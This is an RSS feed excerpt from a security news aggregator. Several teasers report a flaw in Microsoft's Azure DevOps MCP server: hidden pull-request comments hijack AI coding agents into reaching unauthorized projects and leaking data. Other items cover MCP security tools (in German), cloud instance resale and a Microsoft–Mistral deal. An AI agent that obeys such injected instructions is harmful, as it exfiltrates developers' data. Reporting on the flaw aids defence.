<title><![CDATA[Azure DevOps Prompt Injection Targets AI Coding Agents]]></title>
<description><![CDATA[Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer’s permissions. The post Azure DevOps Prompt Injection Targets AI Coding Agents  appeared first on eSecurity Planet. This article has been indexed from…
Read more →
The post Azu...]]></description>
<link>https://tsecurity.de/de/3686817/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686817/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</guid>
<pubDate>Wed, 22 Jul 2026 17:17:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer’s permissions. The post Azure DevOps Prompt Injection Targets AI Coding Agents  appeared first on eSecurity Planet. This article has been indexed from…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/azure-devops-prompt-injection-targets-ai-coding-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/azure-devops-prompt-injection-targets-ai-coding-agents/">Azure DevOps Prompt Injection Targets AI Coding Agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps Prompt Injection Targets AI Coding Agents ]]></title>
<description><![CDATA[Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer's permissions.
The post Azure DevOps Prompt Injection Targets AI Coding Agents  appeared first on eSecurity Planet.]]></description>
<link>https://tsecurity.de/de/3686757/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686757/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</guid>
<pubDate>Wed, 22 Jul 2026 17:05:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer's permissions.</p>
<p>The post <a href="https://www.esecurityplanet.com/threats/azure-devops-prompt-injection-targets-ai-coding-agents/">Azure DevOps Prompt Injection Targets AI Coding Agents </a> appeared first on <a href="https://www.esecurityplanet.com/">eSecurity Planet</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Swiss Buyers Can Snag Deals From Overseas Sellers]]></title>
<description><![CDATA[In this post, I will show you how Swiss Buyers can snag deals from overseas sellers. Swiss shoppers love quality products at reasonable prices. With ecommerce, international merchants often beat local Swiss retailers on costs. With this opportunity, potential Swiss shoppers sometimes hesitate to ...]]></description>
<link>https://tsecurity.de/de/3686211/it-security-nachrichten/how-swiss-buyers-can-snag-deals-from-overseas-sellers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686211/it-security-nachrichten/how-swiss-buyers-can-snag-deals-from-overseas-sellers/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will show you how Swiss Buyers can snag deals from overseas sellers. Swiss shoppers love quality products at reasonable prices. With ecommerce, international merchants often beat local Swiss retailers on costs. With this opportunity, potential Swiss shoppers sometimes hesitate to purchase due to concerns related to delivery and customs.  Knowing the […]</p>
<p>The post <a href="https://secureblitz.com/how-swiss-buyers-can-snag-deals-from-overseas-sellers/">How Swiss Buyers Can Snag Deals From Overseas Sellers</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data]]></title>
<description><![CDATA[A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security…
Read more →
The post Azure DevOps MCP...]]></description>
<link>https://tsecurity.de/de/3685897/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685897/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</guid>
<pubDate>Wed, 22 Jul 2026 12:13:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/">Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data]]></title>
<description><![CDATA[A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security found that the bug lets an attacker wi...]]></description>
<link>https://tsecurity.de/de/3685756/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685756/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security found that the bug lets an attacker with access to just one project steer a […]</p>
<p>The post <a href="https://cybersecuritynews.com/azure-devops-mcp-flaw/">Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reselling unused cloud instances is no longer easy]]></title>
<description><![CDATA[A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idl...]]></description>
<link>https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.</p>



<p class="wp-block-paragraph">I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.</p>



<p class="wp-block-paragraph">AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">models</a> trained faster than expected. Some inference patterns were lighter than anticipated.</p>



<p class="wp-block-paragraph">Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.</p>



<h2 class="wp-block-heading">The history of cloud resale</h2>



<p class="wp-block-paragraph">There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/" data-type="link" data-id="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/">Reserved Instances Marketplace</a> where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.</p>



<p class="wp-block-paragraph">The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.</p>



<p class="wp-block-paragraph">My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.</p>



<h2 class="wp-block-heading"> AWS changes the rules</h2>



<p class="wp-block-paragraph">In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.</p>



<p class="wp-block-paragraph">This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.</p>



<p class="wp-block-paragraph">The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.</p>



<h2 class="wp-block-heading">What options still exist?</h2>



<p class="wp-block-paragraph">What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.</p>



<p class="wp-block-paragraph">The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.</p>



<p class="wp-block-paragraph">The third alternative is to optimize usage. Companies can invest in better <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">utilization monitoring</a>, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.</p>



<p class="wp-block-paragraph">My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.</p>



<h2 class="wp-block-heading">The broader implications</h2>



<p class="wp-block-paragraph">Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.</p>



<p class="wp-block-paragraph">This is why <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cloud financial management</a> has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.</p>



<p class="wp-block-paragraph">For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.</p>



<p class="wp-block-paragraph">The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents]]></title>
<description><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer’s own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds. The flaw is…
Read more →
The post Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comme...]]></description>
<link>https://tsecurity.de/de/3685430/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685430/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:39:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single invisible comment in an Azure DevOps pull request can turn a reviewer’s own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds. The flaw is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/">Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents]]></title>
<description><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer's own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds.

The flaw is in Microsoft's official Azure DevOps MCP server, and it works because one...]]></description>
<link>https://tsecurity.de/de/3685409/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685409/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:25:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer's own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds.

The flaw is in Microsoft's official Azure DevOps MCP server, and it works because one of its tools returns pull request descriptions without a prompt-injection guardrail the company had]]></content:encoded>
</item>
<item>
<title><![CDATA[Tools, um MCP-Server abzusichern]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.Gorodenkoff | shutterstock.com



Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfre...]]></description>
<link>https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.</figcaption></figure><p class="imageCredit">Gorodenkoff | shutterstock.com</p></div>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a>) verbindet KI-Agenten mit Datenquellen und erfreut sich im Unternehmensumfeld wachsender Beliebtheit. Allerdings ist auch MCP nicht frei von Sicherheitslücken, wie entsprechende Entdeckungen, etwa beim SaaS-Anbieter <a href="https://www.upguard.com/blog/asana-discloses-data-exposure-bug-in-mcp-server" target="_blank" rel="noreferrer noopener">Asana</a> oder dem IT-Riesen <a href="https://www.catonetworks.com/blog/cato-ctrl-poc-attack-targeting-atlassians-mcp/" target="_blank" rel="noreferrer noopener">Atlassian</a> gezeigt haben. Inzwischen hat sich jedoch einiges in Sachen MCP-Sicherheit getan. Einerseits wurden mit Blick auf das Kernprotokoll etliche Fortschritte erzielt. Beispielsweise in Form von Support für OAuth sowie für Authentifizierungs-Server von Drittanbietern und Identity-Management-Systeme. Darüber hinaus wurde inzwischen auch eine <a href="https://modelcontextprotocol.info/tools/registry/" target="_blank" rel="noreferrer noopener">offizielle MCP Registry</a> geschaffen, die einen Überblick über sichere, öffentlich verfügbare MCP-Server bietet.</p>



<p class="wp-block-paragraph">Dennoch bestehen weiterhin Sicherheitslücken, die sich für diverse Cyberschandtaten ausnutzen lassen – <a href="https://www.computerwoche.de/article/4044551/wenn-der-ki-agent-im-fakeshop-kauft.html" target="_blank">Prompt Injection</a>, Tool Poisoning, Token-Diebstahl, Server-übergreifende Attacken oder manipulierte Messages sind nur einige von vielen Beispielen. Mit anderen Worten: Unternehmen, die sich beim <a href="https://www.computerwoche.de/article/4049237/3-tipps-um-agentic-ai-systeme-in-der-cloud-zu-entwickeln.html" target="_blank">Aufbau von Agentic-AI-Systemen</a> einen Wettbewerbsvorteil verschaffen wollen, müssen erhebliche Anstrengungen unternehmen, um zu gewährleisten, dass sensible Daten nicht nach außen dringen. Glücklicherweise gibt es diverse Tools, die dabei Unterstützung versprechen.</p>



<p class="wp-block-paragraph">In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>was Security-Tools für MCP leisten sollten, und</li>



<li>welche Angebote in diesem Bereich interessant sind.</li>
</ul>



<h2 class="wp-block-heading">Das sollten MCP-Sicherheitslösungen können</h2>



<p class="wp-block-paragraph">Die Gefahr von Datenlecks, Prompt Injections und weiteren Sicherheitsbedrohungen besteht unabhängig davon, ob Unternehmen:</p>



<ul class="wp-block-list">
<li>ihre eigenen KI-Agenten mit MCP-Servern von Drittanbietern,</li>



<li>ihre eigenen MCP-Server mit Drittanbieter-Agenten, oder</li>



<li>ihre eigenen Server mit den eigenen Agenten verbinden.</li>
</ul>



<p class="wp-block-paragraph">Soll heißen: Unternehmen müssen in jedem Fall Autorisierungen und Berechtigungen überprüfen, detaillierte Zugriffskontrollen implementieren und alles protokollieren. Daraus ergeben sich auch die Anforderungen für MCP-Sicherheitslösungen. Diese sollten bieten:</p>



<ul class="wp-block-list">
<li><strong>MCP-Servererkennung.</strong> Für Mitarbeiter eines Unternehmens ist es einfach, MCP-Server herunterzuladen und zu nutzen. Mit Scan-Services für MCP-Server können Unternehmen sämtliche Instanzen von Schatten-MCP-Servern in ihrer Umgebung finden.</li>



<li><strong>Laufzeitschutz.</strong> KI-Agenten kommunizieren mit MCP-Servern in natürlicher Sprache. MCP-Sicherheits-Tools sollten deshalb in der Lage sein, diese Kommunikation auf Sicherheitsprobleme wie Prompt Injections hin zu überwachen.</li>



<li><strong>Authentifizierungs- und Zugriffskontrollen.</strong> Das MCP-Protokoll unterstützt inzwischen OAuth, aber das ist nur ein erster Schritt. Für zusätzliche Sicherheit empfehlen sich Tools mit integrierten Kontroll-Frameworks für Zero Trust und Least Privilege.</li>



<li><strong>Logging und Observability.</strong> Tools und Plattformen sollten zudem die Möglichkeit bieten, MCP-Protokolle zu sammeln, Sicherheitsteams über Richtlinienverstöße zu informieren, Compliance-Daten zu erfassen oder Protokolle in die bestehende Sicherheitsinfrastruktur einzuspeisen.</li>
</ul>



<h2 class="wp-block-heading">MCP-Security-Angebote</h2>



<p class="wp-block-paragraph">Im Folgenden haben wir die Anbieter von MCP-Security-Tools in drei Kategorien aufgeteilt. Diese Aufstellung erhebt keinen Anspruch auf Vollständigkeit.</p>



<p class="wp-block-paragraph"><strong>Hyperscaler</strong></p>



<p class="wp-block-paragraph">Für Unternehmen, die sich vollständig auf eine bestimmte Cloud-Plattform verlassen, bieten die MCP-Tools des jeweiligen Hyperscalers einen einfachen Einstieg.</p>



<ul class="wp-block-list">
<li><strong>Amazon Web Services (AWS)</strong> hat Mitte 2025 seine eigene agentenbasierte KI-Plattform eingeführt. <a href="https://aws.amazon.com/de/bedrock/agentcore/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore</a> umfasst ein Gateway, das mehrere Protokolle unterstützt (darunter auch MCP), ein Identity-Management-System sowie Observability.</li>



<li><strong>Microsoft</strong> bietet einen grundlegenden <a href="https://learn.microsoft.com/de-de/azure/developer/azure-mcp-server/overview" target="_blank" rel="noreferrer noopener">Azure-MCP-Server</a> an, inklusive Support für Azure Key Vault. Darüber hinaus unterstützen auch Azure AI Foundry Agent Service und Azure API Management das Model Context Protocol. Zudem bietet Microsoft mit dem <a href="https://learn.microsoft.com/de-de/agent-framework/overview/agent-framework-overview" target="_blank" rel="noreferrer noopener">Agent Framework</a> auch ein Open-Source-Entwicklungskit, das sowohl MCP als auch Agent2Agent unterstützt und beispielsweise Schutz vor Prompt Injections verspricht.</li>



<li><strong>Google Cloud</strong> kündigte Anfang 2025 seine <a href="https://cloud.google.com/blog/products/ai-machine-learning/mcp-toolbox-for-databases-now-supports-model-context-protocol?hl=en" target="_blank" rel="noreferrer noopener">MCP Toolbox für Datenbanken</a> an – inklusive integrierter Authentifizierung und Observability. Außerdem hat der Hyperscaler auch <a href="https://cloud.google.com/blog/products/identity-security/how-to-secure-your-remote-mcp-server-on-google-cloud?hl=en" target="_blank" rel="noreferrer noopener">eine Referenzarchitektur</a> veröffentlicht, um MCP-Server auf seiner Cloud-Plattform abzusichern.</li>
</ul>



<p class="wp-block-paragraph"><strong>Große Plattformanbieter</strong></p>



<ul class="wp-block-list">
<li>Der IT-Dienstleister <strong>Cloudflare</strong> hat mit <a href="https://blog.cloudflare.com/zero-trust-mcp-server-portals/" target="_blank" rel="noreferrer noopener">MCP Server Portals</a> ein Tool veröffentlicht, mit dem Unternehmen MCP-Verbindungen zentralisiert absichern und überwachen können. Die Funktion ist Bestandteil der Cloudflare-One-Plattform.</li>



<li><strong>Palo Alto Networks</strong> hat mit Blick auf MCP-Sicherheit mehrere Eisen im Feuer. Mit <a href="https://www.paloaltonetworks.com/blog/2025/06/securing-ai-agent-innovation-prisma-airs-mcp-server/" target="_blank" rel="noreferrer noopener">Prisma AIRS</a> hat das Unternehmen einen eigenen, intermediären MCP-Server veröffentlicht. Dieser sitzt zwischen den KI-Agenten und dem eigentlichen MCP-Server und erkennt schadhafte Inhalte und Daten. Das Tool <a href="https://www.paloaltonetworks.com/blog/2025/06/cloud-security-model-context-protocol-mcp-security/" target="_blank" rel="noreferrer noopener">MCP Security</a> ist hingegen Bestandteil von Cortex Cloud WAAS und überprüft die MCP-Kommunikation an der Netzwerkgrenze auf bösartige Aktivitäten.</li>



<li><strong>SentinelOne</strong> gewährt mit seiner <a href="https://www.sentinelone.com/blog/avoiding-mcp-mania-how-to-secure-the-next-frontier-of-ai/" target="_blank" rel="noreferrer noopener">Singularity Platform</a> ebenfalls Einblick in die MCP-Interaktionskette und bietet zum Beispiel Warnmeldungen und automatisierte Incident Response für MCP-Server auf lokaler oder Remote-Ebene.</li>



<li>Die <a href="https://acuvity.ai/" target="_blank" rel="noreferrer noopener">Plattform</a> von <strong>Acuvity</strong> (seit Februar 2026 Teil von <strong>Proofpoint</strong>) verspricht, MCP-Server umfassend abzusichern. Dafür sorgt laut dem Anbieter eine Kombination aus Least-Privilege-Execution, unveränderlichen Laufzeiten, kontinuierlichen Schwachstellenscans, Authentifizierung und Bedrohungserkennung.</li>



<li>Daneben hat auch <strong>Broadcom</strong> MCP-Sicherheitsfunktionen für VMware Cloud Foundation <a href="https://www.broadcom.com/company/news/product-releases/63401" target="_blank" rel="noreferrer noopener">angekündigt</a>, die künftig mehr Sicherheit für agentenbasierte Workflows gewährleisten sollen.</li>
</ul>



<p class="wp-block-paragraph"><strong>Startups</strong></p>



<ul class="wp-block-list">
<li>Das API-Security-Startup <strong>Akto</strong> hat eine <a href="https://www.akto.io/mcp-security" target="_blank" rel="noreferrer noopener">MCP-Security-Plattform</a> im Angebot. Sie umfasst ein Discovery Tool, um MCP-Server in Unternehmensumgebungen zu identifizieren, Security-Testing-Werkzeuge sowie Monitoring- und Threat-Detection-Funktionen.</li>



<li><strong>Invariant Labs</strong> bietet mit <a href="https://github.com/invariantlabs-ai/mcp-scan" target="_blank" rel="noreferrer noopener">MCP-Scan</a> ein quelloffenes Tool, das die statische Analyse und Echtzeitüberwachung von MCP-Servern ermöglicht. Mit <a href="https://invariantlabs.ai/blog/guardrails" target="_blank" rel="noreferrer noopener">Guardrails</a> hat das Startup auch ein kommerzielles Produkt im Angebot. Dabei handelt es sich um einen Proxy. Der zwischen KI-Agenten und MCP-Servern sitzt und vor Security-Risiken schützen soll. Das Tool befähigt Anwender außerdem dazu, Richtlinien aufzusetzen.</li>



<li><strong>Highflame </strong>(vormals Javelin) <a href="https://www.highflame.com/" target="_blank" rel="noreferrer noopener">addressiert</a> ebenfalls das Thema MCP-Sicherheit. Etwa mit Funktionen wie MCP-Server auf Risiken zu scannen oder Datenanfragen zu überprüfen.  </li>



<li><strong>Lasso Security</strong> stellt ein Open-Source-<a href="https://github.com/lasso-security/mcp-gateway" target="_blank" rel="noreferrer noopener">MCP-Gateway</a> zur Verfügung, das die Konfiguration und das Lebenszyklusmanagement von MCP-Servern ermöglicht und Messages um sensible Informationen bereinigt.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html" target="_blank">im Original</a> bei unser Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



